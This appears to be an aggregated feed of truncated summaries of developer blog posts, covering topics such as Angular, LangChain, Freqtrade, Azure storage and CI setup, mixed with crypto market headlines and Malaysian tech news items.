    Customer Lifetime Value (CLV) has evolved into one of the most important metrics in modern business strategy. Whether in retail, telecom, subscription services, banking, or e-commerce, companies rely on CLV to determine how valuable each customer is to the long-term growth of the business. More than a number, CLV represents a strategic lens through which companies can tailor marketing investments, design retention strategies, and allocate resources to maximize profit. This article explores the origins of CLV, explains its foundational concepts, examines its major calculation models, and presents real-world applications and case studies that show how businesses use CLV to outperform competitors. Origins of Customer Lifetime Value Academic contributions from marketing researchers such as Bla…  ( 10 min )
    Can Playwright vs Selenium Cut CI Time?
    Choosing the right automation tool decides how quickly teams find regressions; Playwright vs Selenium is not a trivial choice. This guide compares both frameworks across speed, stability, browser support, and CI friendliness. Playwright excels at fast parallel end-to-end tests with automatic waiting and rich tracing. Selenium, however, offers broad browser and language coverage for enterprise environments. Therefore teams often adopt a balanced portfolio that uses Playwright for modern UI paths. And they keep Selenium for legacy coverage and vendor grid compatibility. Because unstable suites and slow pipelines cost more than tool licenses, reliability matters most. As a result this article focuses on practical trade-offs, migration tips, and test design patterns. Read on to learn when to c…  ( 13 min )
    🚀 Angular HttpResource + Signals: The Modern Approach to API Development
    When building modern Angular applications, one of the most repetitive tasks is creating services, injecting HttpClient, writing CRUD methods, handling responses, and repeating the same patterns across modules. With Angular’s evolution toward standalone components and signals, the Angular team introduced a powerful new feature in Angular 18+: This blog explores what HttpResource is, why it exists, how to use it, and its advantages and limitations, with complete examples. 💡 What is Angular HttpResource? HttpResource is a new API inside @angular/common/http that automatically generates RESTful methods for an endpoint. Instead of creating a full HttpClient service like this: @Injectable({ providedIn: 'root' }) export class TodoService { private http = inject(HttpClient); list() { ret…  ( 8 min )
    DSA Fundamentals: Arrays & Strings - From Theory to LeetCode Practice
    Data Structures and Algorithms form the foundation of efficient programming. Today, we'll dive deep into Arrays and Strings - two fundamental data structures that appear in virtually every coding interview and real-world application. This comprehensive guide combines theoretical understanding with practical problem-solving, featuring solutions to essential LeetCode problems that demonstrate core concepts. Arrays are mutable (changeable) collections that store elements in contiguous memory locations, providing efficient random access. # Array mutability example A = [1, 2, 3, 4, 5] A[3] = 1 # Modify element at index 3 print(A) # Output: [1, 2, 3, 1, 5] Static Arrays: Fixed size at creation time To change size: copy all elements → create new array → paste elements Memory allocated at compi…  ( 13 min )
    Rendering 15 Million Moving Nodes in the Browser with WebGPU
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    An Introduction to LangChain
    If you are reading this blog, I am sure you have used ChatGPT and many other applications powered by LLMs As models like these continue to revolutionize AI applications, many of us are looking for ways to integrate these powerful tools into our applications and create robust, scalable systems out of them. It would be great if we have a chatbot that looks into its own database for answers, and goes out to refer to GPT for what it does not know. This is a simple example of crossing application development with LLMs. That is where, frameworks like LangChain help us - simplifying the process of creating applications powered by language models. LangChain is a Python and JavaScript framework designed for building applications that use language models (LLMs) as the backbone. It provides a str…  ( 9 min )
    checkout this article on Feature Selection Techniques with R: Origins, Methods, and Real-Life Applications
    Feature Selection Techniques with R: Origins, Methods, and Real-Life Applications Vamshi E ・ Nov 15 #webdev #ai #programming #blockchain  ( 5 min )
    Feature Selection Techniques with R: Origins, Methods, and Real-Life Applications
    Machine learning is often perceived as the art of building predictive models—classification, clustering, regression, and more. But in reality, the accuracy and interpretability of these models depend far more on what goes into them rather than the algorithm used. And this is where feature selection becomes one of the most critical steps in the pipeline. Feeding the right set of features into a model can drastically improve accuracy, reduce overfitting, speed up training, and turn an opaque model into a transparent analytical tool. Feature selection lies at the heart of data preprocessing, a stage often more challenging and more impactful than model development itself. This article explores the origins of feature selection, explains the major feature selection techniques supported in R, and…  ( 10 min )
    Credential Optics Institutional Access: Competence is Authored, Not Conferred
    In security architecture, we timestamp clarity. Yet the industry still confuses credential optics with institutional access. Holding a cert doesn’t mean you’re “inside.” Building tooling doesn’t mean you’ll be evaluated. Both paths face the same gatekeeping. This post compresses that paradox into a refusal: competence is authored, not conferred. Outsiders assume credentials = institutional validation. Reality: credentials create optics without access. Both credentialed-excluded and uncredentialed-competent practitioners face the same dysfunction. II. The Division This Creates Take the exchange with GnomeMan4201:: five years of production security tooling, excluded before evaluation. Me: certifications earned independently (CompTIA A+ - CySA+, AWS, even a SANS scholar…  ( 7 min )
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    Webinars have become one of the most powerful tools for marketing, education, and customer engagement. But hosting a webinar is only half the job—the real value comes from understanding how well it performed and how you can improve it in the future. That’s where webinar analytics come in. By tracking the right metrics, you can uncover insights that strengthen your strategy, boost audience engagement, and increase conversions. Webinar analyticsoffer a clear picture of audience behavior before, during, and after your event. They help you: Understand which topics attract the most interest Improve audience engagement Enhance your content and presentation style Identify high-quality leads Optimize marketing and follow-up strategies Without analytics, you are simply guessing. With analytics, you…  ( 7 min )
    ⛓️‍💥Chaining Veo 3.1 and NanoBanana with Gemini
    As developers, we are used to chaining APIs to get a desired output. In the world of Generative AI, a similar pattern emerges: Model Chaining. Creating a high-quality AI videos often requires orchestrating a workflow, not just typing in text and hitting the "generate!" button. Today, I’m going to walk through a specific stack—Gemini 2.5 Pro (for reasoning/prompting), NanoBanana (for base image generation), and Veo 3.1 (for image-to-video) to simulate a hyper-realistic doorbell security camera feed of a very cute fennec fox who is playing with LEGO bricks. Below is the breakdown of how we went from a blank slate to a coherent video, the prompts I used in Google AI Studio, and a critique of the generated video output. Let's get started! 😄 Gemini. Used to reason through the visual aesthetic…  ( 10 min )
    Sam Altman every 6 months: 'Best I can do is GPT-5.1 with a bow on it 🎁😄' OpenAI marketing team deserves an Oscar at this point 😂
    A post by Farhan Nasir  ( 6 min )
    Daily Tech News Roundup - 2025-11-15
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    Most people who struggle with prompting don’t have a tech problem. They have a thinking problem. It's time for Prompt Engineers to Learn From Designers & Writers:
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    Rick Beato: Jahari Stampley... I've Never Heard Playing Like This!
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    What I learned from Analyzing HTTP Traffic with Wireshark
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    A Declaration of Digital Independence
    Preamble The Web was born free. Open protocols. Open standards. Open access. No one owned it. No one controlled it. No one could shut it down. Everyone could publish. Everyone could read. Everyone could connect. That web is dying. Today, the web is captured. A handful of corporations decide who speaks, who listens, and who connects. Your content lives at their mercy. Your identity exists by their permission. Your voice survives at their discretion. One company bans you → your audience vanishes. One server fails → your life’s work disappears. One terms-of-service change → you lose everything. This is not the web we were promised. We declare independence from this captured web. We reclaim the original vision. We build a web that cannot be shut down, censored, or controlled. Welco…  ( 8 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
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    Ringer Movies: What Happened With the Fall Movie Slate?
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    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
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    ChatGPT Gets Group Chats While OpenAI Faces Escalating User Data Lawsuits
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    AI-in-Shell: Secure Linux Management via Telegram and Gemini AI (Technical Deep Dive)
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    Building Robust CI/CD Pipeline
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    Declutta Backend — Case Study
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    Free Resilient Web Manifesto
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    Lesson 24: Freqtrade-Trading Monitoring and Adjustment
    Lesson 24: Trading Monitoring and Adjustment ⏱ Duration: 1.5 hours 🎯 Learning Objectives: Master best practices for daily trading monitoring, learn when to adjust versus over-intervene After live trading starts, monitoring and adjustment become daily work. But excessive monitoring leads to anxiety, excessive adjustment destroys strategy stability. Core Philosophy of This Lesson: Monitoring is to discover problems in time, not to find excuses to intervene in strategies. This lesson will help you: Establish efficient daily monitoring processes Identify signals that truly need adjustment Distinguish normal fluctuations from systematic problems Master timing and methods of adjustment Receive automatically through Telegram: ✅ Entry notifications ✅ Exit notifications ✅ Stop loss notifications…  ( 18 min )
    https://medium.com/@farhan.nasir01/top-7-mistakes-that-slow-down-wordpress-websites-and-how-i-fix-them-5b82a1434476
    Top 7 Mistakes That Slow Down WordPress Websites (And How I Fix Them) | by Farhan Nasir | Nov, 2025 | Medium A slow WordPress site kills conversions, drops rankings, and frustrates users. After working on 300+ websites for clients in the UK, USA… medium.com  ( 5 min )
    第 24 课:Freqtrade交易监控与调整
    第 24 课:交易监控与调整 ⏱ 课时:1.5 小时 🎯 学习目标:掌握日常交易监控的最佳实践,学会适时调整而非过度干预 实盘交易启动后,监控和调整成为日常工作。但过度监控会导致焦虑,过度调整会破坏策略的稳定性。 本课核心理念: 监控是为了及时发现问题,而不是找借口干预策略。 本课将帮助你: 建立高效的日常监控流程 识别真正需要调整的信号 区分正常波动和系统性问题 掌握调整的时机和方法 通过 Telegram 自动接收: ✅ 买入通知 ✅ 卖出通知 ✅ 止损通知 ✅ 错误警报 ✅ 保护机制触发 特点: - 无需主动查看,被动接收 - 24/7 覆盖 - 关键事件不遗漏 建议配置: "notification_settings": { "status": "silent", // 状态查询不通知 "warning": "on", // 警告必须通知 "entry": "on", // 买入通知 "exit": "on", // 卖出通知 "protection_trigger": "on" // 保护触发通知 } 每日 3 次固定时间检查: 早晨检查(8:00-9:00): - 查看过夜持仓 - 检查系统状态 - 浏览 Telegram 历史消息 时间:10-15 分钟 午间检查(12:00-13:00): - 查看当前持仓盈亏 - 确认无异常交易 - 检查新增信号 时间:5-10 分钟 晚间总结(21:00-22:00): - 查看当日交易明细 - 统计收益和胜率 - 记录交易日志 - 分析问题交易 时间:15-20 分钟 总时间:每日 30-45 分钟 每周分析(周日晚): - 生成周报告 - 对比回测和 Dry-run - 分析最佳/最差…  ( 13 min )
    Startup Failure
    This Startup Dialo3 Studio failed and the best lessons from mistakes I learned are : If you have enough money to invest in your idea, you can hire top talent and you don't necessarily have good knowledge about the business but for someone who is starting as a Solo Founder with no money could not hire top talent . So, that solo founder, only have option to first gain enough knowledge about that business, its target audience etc then launch. Otherwise, there are very few chances of Success Any Business to be Successful takes a lot of time. There is always a process of grinding, consistency, patience, hardwork etc. All those could not be carried by a person who just started a business and thinking of it like a shortCut way of earning. Yes, it is true that Business has potential to make you rich but that is not overnight Success. When I see that in 1 - 2 months, things are not happening according to my Expectations, I quit. Later, I realize that first sale is the hardest step. things works and which not. Any Suggestions and your Opinions about how a startup is failed mainly due to ... , drop in comments. I love that .  ( 6 min )
    The Secret Life of Python: Metaclass Secrets - Classes That Create Classes
    Timothy was studying Django's ORM when something made him pause. "Margaret, how does Django's models.Model work? I write class User(models.Model): with fields like name = models.CharField(), and Django automatically creates database tables, validates types, and manages queries. How does the base class customize what happens when I define my class? What's controlling class creation itself?" Margaret's eyes sparkled. "You've discovered metaclasses - Python's most powerful and most misunderstood feature. Metaclasses are classes that create classes. Just like a class defines how instances behave, a metaclass defines how classes behave. Django's ORM, SQLAlchemy, ABCs - they all use metaclasses to customize class creation." "Classes that create classes?" Timothy looked puzzled. "But I thought cl…  ( 16 min )
    Building "CodeBro": My (Pointless) Adventure into AI Agents with Java
    I'm at it again, playing with code in my spare time. I figured it was high time I started looking into all the fuss about AI agents. So naturally, I decided to build my own—in Java, because apparently, I like torturing myself. I have no good reason for doing this, nor do I want to build anything "useful." I'm just having fun. But first (embarrassed), I had to learn what an AI agent even is. So, What is an AI Agent, Anyway? Turns out, it's not just a simple API call. It's a system with a goal that can Sense (get a request), Think (plan steps, pick tools), and Act (run code, write files). The LLM is just the "brain" part of it. So something smarter than an API call. It's a loop through the Sense --> Think --> Act steps. Nice. Now that I had the theory, I needed a project. I decided to build…  ( 11 min )
    Hexagonal Architecture na Prática: Construindo Software Sustentável com Java e Spring Boot
    Introdução Proposta por Alistair Cockburn, a Hexagonal Architecture (Ports & Adapters) promete algo que todo desenvolvedor deseja: código que sobrevive ao teste do tempo. Neste artigo, vou mostrar como implementei essa abordagem no Sauron, um serviço de registro e avaliação de clientes, e como você pode aplicar os mesmos princípios nos seus projetos. Quantas vezes você já viu (ou escreveu) código assim? @Service public class CustomerService { @Autowired private CustomerRepository repository; // JPA vazando por todo lado public Customer createCustomer(CustomerDTO dto) { Customer customer = new Customer(); customer.setName(dto.getName()); // ... mais 50 linhas misturando validação, negócio e persistência } } Os problemas: Alto acoplamento com frame…  ( 9 min )
    The "Zapier Killer" is Real: A Deep Dive into Flowork's Superior Architecture
    Every time a new automation tool gets a round of funding, the tech blogs recycle the same tired headline. Yet, years later, Zapier is still here. Why? Because none of these "killers" ever offered a fundamental, 10x improvement. They were just slightly cheaper, or had a slightly nicer UI. They were iterative, not revolutionary. They were all built on the same, flawed, "All-Cloud" architectural model. They are "black boxes" in the sky: convenient, but fundamentally limited, insecure, and blind to anything outside their own walled garden of public APIs. I've been analyzing the core files of a new platform, Flowork, and for the first time, I believe the "Killer" moniker is not just hype. It's an architectural fact. Flowork isn't just a "better Zapier." It's a completely different class of tool…  ( 10 min )
    Stop Trusting, Start Verifying: Flowork, The Zero-Trust Automation Killer
    In the modern enterprise, "Zero-Trust" is the undisputed security doctrine. The principle is simple, yet absolute: Never Trust, Always Verify. We re-architect our networks, our VPNs, and our identities around this concept, assuming every packet, user, and device is a potential threat until proven otherwise. And then we go to our automation platform. And we throw all of it out the window. The current "All-Trust" model of cloud automation, championed by platforms like Zapier, Make, and even self-hosted tools, is a security-first organization's worst nightmare. We eagerly hand over our most sacred credentials: Database passwords. Admin-level API keys for our entire cloud stack. Customer lists and private company data. Access to our internal file systems. We hand over the keys to the kingdom a…  ( 10 min )
    Lesson 23: Freqtrade Small Capital Live Trading
    Lesson 23: Small Capital Live Trading ⏱ Duration: 2 hours 🎯 Learning Objectives: Safely start live trading, verify strategy's real performance with small capital This is the most exciting and critical lesson. After backtests, Dry-run, and security checks, you're finally ready to start real live trading. Core Principle of This Lesson: Start with small capital, increase gradually, safety first. This lesson will guide you through: How to smoothly transition from Dry-run to live How to set reasonable initial capital What to focus on in the first 7 days When to increase capital How to handle problems Before pressing the start button, do one last check: Final Confirmation Checklist (All must be checked): □ Strategy validation ✅ Total backtest return > 15% ✅ Dry-run run at least 7 days …  ( 18 min )
    第 23 课:Freqtrade小资金实盘测试
    第 23 课:小资金实盘测试 ⏱ 课时:2 小时 🎯 学习目标:安全地开始实盘交易,用小资金验证策略的真实表现 这是最激动人心也最关键的一课。经过了回测、Dry-run、安全检查,你终于要开始真实的实盘交易了。 本课核心原则: 小资金起步,逐步增加,安全第一。 本课将指导你: 如何从 Dry-run 平滑过渡到实盘 如何设置合理的初始资金 前 7 天需要重点关注什么 何时可以增加资金 遇到问题如何应对 在按下启动按钮前,做最后一次确认: 最终确认清单(必须全部打勾): □ 策略验证 ✅ 回测总收益率 > 15% ✅ Dry-run 至少运行 7 天 ✅ Dry-run 表现符合预期(回测的 50% 以上) □ 技术准备 ✅ API Key 配置正确,权限设置安全 ✅ IP 白名单已启用 ✅ 提币权限已禁用 ✅ 备份机制已测试 □ 资金准备 ✅ 初始资金已充值到交易所 ✅ 使用的是"输得起"的资金 ✅ 不影响日常生活 ✅ 不是借贷资金 □ 监控准备 ✅ Telegram 通知正常工作 ✅ 手机通知已开启 ✅ 每日监控时间已安排 □ 心理准备 ✅ 理解会有亏损交易 ✅ 承诺不随意干预策略 ✅ 准备好应对回撤 □ 应急准备 ✅ 紧急停止交易流程已熟悉 ✅ 交易所客服联系方式已保存 ✅ 应急联系人已告知 重要:如果有任何一项未打勾,不要启动实盘。 总可用资金 建议初始资金 单笔交易 最大持仓数 说明 $500-1000 $500 $100-150 2-3 最小起步,适合学习 $1000-3000 $1000 $200-300 3 推荐新手配置 $3000-5000 $2000 $300-500 3-4 适中配置 $5000-10000 $3000-5000 …  ( 12 min )
    [Boost]
    Make AI Your Copilot, Not Your Autopilot Salauddin Omar Sifat ・ Nov 9 #ai #programming #learning #productivity  ( 5 min )
    Fine-Tuning LLMs: LoRA, Quantization, and Distillation Simplified
    Large Language Models (LLMs) like LLaMA, Gemma, and Mistral are incredibly capable — but adapting them to specific domains or devices requires more than just prompting. Fine-tuning, quantization, and distillation make this adaptation efficient and accessible. Before fine-tuning comes pretraining — the foundational phase where models learn language itself. During pretraining, models are trained on massive text corpora (trillions of tokens) to predict the next word. This teaches them: Grammar, syntax, and linguistic patterns World knowledge and factual information Reasoning and problem-solving capabilities Key characteristics: Requires enormous compute (thousands of GPU-hours) Done once by model creators (Meta, Google, Mistral AI) Produces "base models" with general language understanding Th…  ( 10 min )
    Combining Mini Asphalt Plants for Small Construction Enterprises
    For emerging small construction enterprises targeting micro-projects, such as community roads and parking lots, combining mini asphalt plants and mini mobile asphalt plants offers a strategic advantage. This approach can help expand service scope while effectively controlling initial investment risks. By leveraging the strengths of both types of equipment, these enterprises can enhance their operational flexibility and meet diverse project demands. Understanding the Benefits of Mini Asphalt Plants Mini asphalt plants are designed for small-scale projects, providing an efficient solution for producing high-quality asphalt. Their compact size allows for easy setup and operation, making them ideal for community roads and small parking lots where space may be limited. Additionally, these plan…  ( 8 min )
    My 5-Day AI Agents Intensive Journey — And How I Built a Google-Native MindsEye OS Using 6 Repos
    Intro — A Course That Changed How I See Agentic Systems When I started the 5-Day AI Agents Intensive with Google & Kaggle, I expected another technical bootcamp. I was wrong. …but a living architectural pattern: perceiving reasoning deciding acting reflecting and adapting over time. By Day 5, something clicked for me: “If agents fundamentally revolve around perception → memory → reasoning → action → feedback… then the tool we choose doesn’t matter as much as the architecture we build around it.” That insight pushed me to design something more ambitious than just a capstone. I built an entire agentic operating system using nothing but: Google Workspace Gemini (conceptually, until I can access paid API) Apps Script Node.js and six GitHub repos working together. This became my capstone — Wha…  ( 9 min )
    Containerizing Your Logic Apps In Your DevBox
    Overview In previous article of this series, we covered how to create and develop Logic Apps locally using VS Code. Now we'll focus on containerizing your Logic Apps to enhance your local development experience. Containerizing Logic Apps makes your local development more consistent, portable, and easier to perform end-to-end testing when you have multiple Logic Apps working together. 📚 Before you start: Complete Part 1 of this series where we created Logic Apps with VS Code. For this containerization tutorial, you'll need: Docker Desktop installed and running Existing Logic App project (from Part 1) Azure Functions Core Tools v4+ (if not already installed) Basic Docker knowledge (helpful but not required) You should have a Logic App project with this structure: ├── .vscode/ ├── wf1/ …  ( 9 min )
    Why You Should Become an Influencer While Learning Programming
    Share Your Journey --- It Matters When you're learning programming, becoming an influencer (even in a huge advantages. Sharing your progress 800+ , and it reminded me how powerful it is when you simply put Learning to code is never a straight line. Some days you level up, and A single small win becomes confidence. Confidence creates consistency. Consistency builds skill. Even when you stumble, the progress you've made never disappears. Every Action begins with thoughts. people you interact . Every tweet you read, every comment someone leaves on your work, every This is why community matters so much. Humans mirror each other. builders learners creators problem-solvers ...you naturally begin to act like one too. The programming community online is especially powerful. When they see When you share publicly: you think more clearly you retain more you stay accountable you build a network you stop learning in isolation Your thoughts begin moving outward instead of swirling internally. Every interaction---big or small---rewires your thinking. a developer replying to your post someone liking your learning thread a friend asking about your project a mentor correcting your code a stranger resonating with your story Your mind is a reflection of the environment you immerse it in. Being a If you're learning programming, share your progress publicly. staying connected, Be the person who builds in public. Your future self will thank you.  ( 7 min )
    -AZURE BLOB STORAGE-
    In every institution, we need to save guide company’ files and documents. That means, we need to have a dedicated shared storage in a high availability and safe zone where users can have access at any given time. Let’s discuss what Azure storage is: Azure Blob Storage? In short, Azure Blob Storage is the backbone for storing and managing unstructured data in the cloud, making it essential for modern applications that require scalability, durability, and global accessibility. 🌐 What Azure Blob Storage Is and what it does 📂 Here are Key Use Cases 🔒 Here are Key Benefits In today’s exercise: We will demonstrate how to Create Azure *Resource *Group (RG) and Azure Storage Account in Azure portal and sets policies on each resource. https://portal.azure.com/?l=en.en-gb#home Azure portal, sear…  ( 10 min )
    🚀 ThinkReview Is Now Open Source — and Now Supports Ollama for Local AI Code Review
    Three months ago, I started working on a small idea that sat quietly inside my browser: Today, I’m excited to share two big milestones: ✅ ThinkReview is now fully open source Ollama (local LLMs) If you’ve been following my earlier Dev.to posts, you know ThinkReview originally launched as a simple Chrome extension powered by cloud LLMs. It’s grown a lot since then — and the community asked for two things consistently: Open Source Local Model Support (Ollama) Both are finally here. ⚡️ New Feature: Ollama Support (Local LLM) Up to version 1.3.10, ThinkReview ran exclusively on cloud models. Starting with v1.4.0, you can now connect ThinkReview to Ollama and run ANY local LLM you want: Qwen Coder Llama 3 Codestral Deepseek Gemma Anything Ollama supports Why this matters: Your code never leaves your machine Zero API keys needed 100% free Great for companies with strict security/compliance Perfect for self-hosted GitLab users ⚙️ How to enable Ollama One-time setup: Stop any existing Ollama processes Restart Ollama with flags that allow Chrome extension access Go to ThinkReview settings → Test Connection and finally thats how it looks like To install the extension (open source) you can install directly from Chrome store https://chromewebstore.google.com/detail/thinkreview-ai-code-revie/bpgkhgbchmlmpjjpmlaiejhnnbkdjdjn works on Edge too and any chromium browser  ( 6 min )
    NPR Music: Pulp: Tiny Desk Concert
    Pulp stunned fans this spring by dropping More, their first album in nearly 25 years, then sauntered into NPR’s Tiny Desk to prove they’ve still got it. Frontman Jarvis Cocker and the gang kicked things off by holding hands backstage and deadpanning, “This will be the very best Tiny Desk,” before swaggering through a four-song set that spanned their career. They opened with the haunting “This Is Hardcore,” cranked out the jangly “Something Changed,” treated us to the fresh bittersweet vibes of “A Sunset,” and wrapped with the ’90s classic “Acrylic Afternoons”—all delivered with that trademark mix of wit, dance moves, and indie swagger that only Pulp can pull off. Watch on YouTube  ( 6 min )
  • Open

    Is 2025 Worse Than 2022 for Crypto? Nic Carter and McCordic Offer Opposing Views
    One camp frames 2025 as routine post-2022 consolidation, while another says attention has shifted to AI and clear crypto catalysts have thinned.  ( 33 min )
    Harvard Endowment Takes Rare Leap Into Bitcoin With $443M Bet on BlackRock's IBIT
    The investment, which accounts for 20% of Harvard's reported U.S.-listed public equity holdings, is notable.  ( 32 min )
    Alibaba to Use JPMorgan’s Blockchain for Tokenized Dollar and Euro Payments: CNBC
    The technology aims to expedite transactions and eliminate intermediaries, enabling the direct transfer of digital currencies over a blockchain-based system.  ( 32 min )
    State of Crypto: What's In the New Crypto Market Structure Draft?
    The Senate Agriculture Committee released a draft text for its version of market structure legislation.  ( 36 min )
    Crypto Market Slips Into ‘Extreme Fear’ After Bitcoin Fails to Hold $100,000 Level
    The sell-off is attributed to a combination of factors, including profit-taking, institutional outflows, macro uncertainty, and low liquidity.  ( 32 min )
    'Negative Skew': What It Is, Why It's Frustrating Bitcoin Bulls, and Why It Might Mean a Bottom is Near
    If it seems like bitcoin prices react particularly negatively to falling stocks, but don't do a whole lot when stocks fly higher, you're not imagining it.  ( 33 min )
    Tether Eyes $1B Investment in German Robotics Startup Neura: FT
    Neura aims to produce 5 million robots by 2030 and has already booked €1 billion in orders.  ( 32 min )
    Crypto Liquidity Still Hollow After October Crash, Risking Sharp Price Swings
    Despite calmer prices after October’s brutal leverage wipeout, bitcoin and ether market depth remains structurally thin, creating a more fragile trading environment.  ( 37 min )
  • Open

    TQ Wuling Updates Specfications Of Bingo EV Ahead Of Local Debut
    Remember TQ Wuling? It debuted back in May in the local market with the Bingo EV, which later made its first public appearance at the Malaysia Autoshow (MAS 2025). Recently, the specifications of the hatchback were updated on the automaker’s website. It seems that the Bingo will be arriving in the local market with two […] The post TQ Wuling Updates Specfications Of Bingo EV Ahead Of Local Debut appeared first on Lowyat.NET.  ( 34 min )
    U Mobile Secures RM4.3 Billion To Accelerate Nationwide Next Gen 5G Rollout
    U Mobile has secured RM4.3 billion in syndicated financing to fund its ongoing 5G expansion in Malaysia, marking one of the largest ringgit-denominated syndicated loans ever raised by an unlisted company. CIMB Investment Bank acted as the sole loan coordinator and joint mandated lead arranger, with CIMB Bank and CIMB Islamic Bank as financiers. Maybank […] The post U Mobile Secures RM4.3 Billion To Accelerate Nationwide Next Gen 5G Rollout appeared first on Lowyat.NET.  ( 35 min )
    You Can Get Acer’s Connect M6E 5G Mobile Wi-Fi For RM999
    Besides the Predator lineup the brand was bringing into Malaysia yesterday, Acer also announced the availability of its Connect M6E 5G Mobile Wi-Fi, its portable mobile hotspot device. We first saw the M6E earlier this year during IFA 2025. Acer says that its portable 5G Mobile Wi-Fi is capable of delivering up to 28 hours […] The post You Can Get Acer’s Connect M6E 5G Mobile Wi-Fi For RM999 appeared first on Lowyat.NET.  ( 34 min )
    Red Dead Redemption Coming To iOS And Android 2 December; Free On Netflix
    About a year ago, Rockstar Games released the PC port for Red Dead Redemption. Now, the company has announced that it will be bringing the game to mobile devices. Starting from 2 December 2025, both the game and its Undead Nightmare DLC will be available for compatible iOS and Android devices. The mobile versions of […] The post Red Dead Redemption Coming To iOS And Android 2 December; Free On Netflix appeared first on Lowyat.NET.  ( 34 min )

  • Open

    MindsEye x Google AI Stack, Part 2 — 200 Users, Ledgers as “Soft Blockchain”, and the OS Vision
    In Part 1 Workspace automation Ledger (Prompt Evolution Tree + runs) Gemini orchestrator Devlog generator Analytics Workflow atlas All of that was basically: “Here’s the skeleton. Here’s how each bone connects.” In this post, I want to zoom out and talk about how this behaves when it’s not just me using it, but ~200 people, each with their own prompts, workflows, and experiments. Specifically: How the ledger behaves like a soft blockchain How users stay isolated but still learn from each other How Gemini (Jimin) becomes the orchestrator/kernel Why this starts to look suspiciously like an Android-style OS built on Google Workspace From “My Stack” to “200-User MindsEye OS” Part 1 was written from a solo-builder perspective. But the design isn’t actually single-user. It’s intentionally struct…  ( 11 min )
    Turning Whispers into Code: My Experience Building The Whisperbound Tome with Kiro
    kiro When I started building The Whisperbound Tome, I had no idea how much Kiro would transform the way I build software. The project is a mystical, atmospheric grimoire that generates deterministic spells based on user whispers—sigils, rituals, incantations, everything. 🔮 1. Spec-Driven Development Became My Superpower I wrote a full specification with tone rules, deterministic pipelines, and generation constraints. 🌀 2. Steering Allowed Me to Preserve the Tome’s Tone The grimoire requires a strict mystical atmosphere. no modern words soft, archaic language tone consistency pacing with silence markers Kiro respected it every time. 🛠️ 3. MCP Let Me Extend Kiro Like a Ritual Engine I added: a tone-check hook deterministic seed utilities spell-generation commands multi-file creation workflows MCP made the project feel modular and alive. ✨ 4. The Result: A Breathing Grimoire With Kiro, I built: deterministic spell generation sigil ASCII art ritual sequences poetic incantations a mystical, animated UI a breathing grimoire effect It went from a concept to a fully interactive magical experience. ❤️ Final Thoughts Kiro didn’t just make coding faster—it made it fun, creative, and collaborative. If you're building something ambitious, weird, or magical… Kiro is the perfect companion.  ( 6 min )
    7 Prompts to Make Google's AI Your Marketing Superpower
    Are you tired of your AI assistant giving you ad copy that sounds like a robot wrote a book report? It’s a familiar scene: the generic, soulless text that’s technically correct but emotionally vacant, destined to be scrolled past without a second thought. We've been handed a tool of immense power, yet we often use it like a glorified thesaurus. Here lies the craft. Each prompt is not merely a command, but a carefully constructed framework for thinking, designed to force the AI beyond generic platitudes and into strategic thinking. The Prompt: "Act as a Google Ads specialist for my brand, [Brand Name], which sells [Product/Service]. Generate a comprehensive list of short-tail and long-tail keywords for our [Specific Product, e.g., 'eco-friendly reusable water bottles']. Focus on keywords wi…  ( 9 min )
    A starters guide from SQS and some learning along the way
    In this guide, we will go through the basics of what SQS is and why it’s important for you to start using it. Is a service from AWS which is queue where messages wait their turn to be processed. As a fun fact, SQS was the first Serverless Service launched by AWS in 2006 SQS allows you to improve the resilence and retryability of your system. Let's imagine that you've the following scenario: Your API exposes a POST /create-order endpoint, and it’s connected directly to a Lambda function called 'CreateOrder'. If your system receives a lot of traffic, your CreateOrder Lambda may start throttling, which means some orders could be lost. In order to avoid this, we can put an SQS in the middle. Having the SQS in the middle ensures that requests are not lost. The queu will hold each request u…  ( 7 min )
    The Pragmatic Programmer: Lessons That Still Matter
    NOTE: I'd love to do better formatting. But for some reason I can't do line breaks in-between list items. For over two decades, The Pragmatic Programmer has influenced how developers think about their craft, responsibility, and long-term software quality. The 20th Anniversary Edition gives the classic a modern polish while keeping its core philosophy intact. After reading it, I've decided to put down some of the core lessons, and how I've interpreted them. Care About Your Craft If you're going to write software, aim to write it well. Quality isn't a luxury; it's the compound interest of good habits. Don't Live with Broken Windows Small flaws invite bigger ones. Fix issues as soon as you see them. Sloppy logic, poor naming, outdated comments, or brittle tests. Invest in Your Knowledge …  ( 7 min )
    sorted() function is used to sort the elements in a Tuple
    sorted() function is used to sort the elements in a tuple, e.g. in ascending order of increasing values for integers or floats, or alphabetical order for strings. Day 69 [November 14, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 68 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Tuples: Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Setting up CI and automated testing
    In my repository Repo-snapshot I set Continuous Integration (CI) workflow with GitHub Actions by creating two folders: .github/, workflows/, and a file named ci.yml ## Structure repo-snapshot/ ├── .github/ │ └── workflows/ │ └── ci.yml ├── src/ │ ├── cli.ts │ ├── file-collector.ts │ ├── file-utils.ts │ ├── git-info.ts │ ├── index.ts │ ├── output-builder.ts │ ├── toml-config.ts │ └── tree-structure.ts └── tests/ ├── file-utils.test.ts ├── index.test.ts └── output-builder.test.ts The workflow configuration looks like this: name: CI on: push: branches: - main pull_request: branches: - main jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Setup pnpm uses: pnpm/action-setup@…  ( 7 min )
    The Shipyard MCP Server: Manage environments with AI agents
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    Day 11 Django Learning
    Django Learning Journey - Day 11 Today I'm sick. No code written. 10 days straight of showing up, learning, building. So I'm listening. Tomorrow, I'll tackle that edit functionality with fresh energy. Sometimes the most productive thing one can do is rest. django #learninginpublic #100dasyofcode #webdev #python  ( 6 min )
    Lab 8- OSD 600
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    Ringer Movies: What Happened With the Fall Movie Slate?
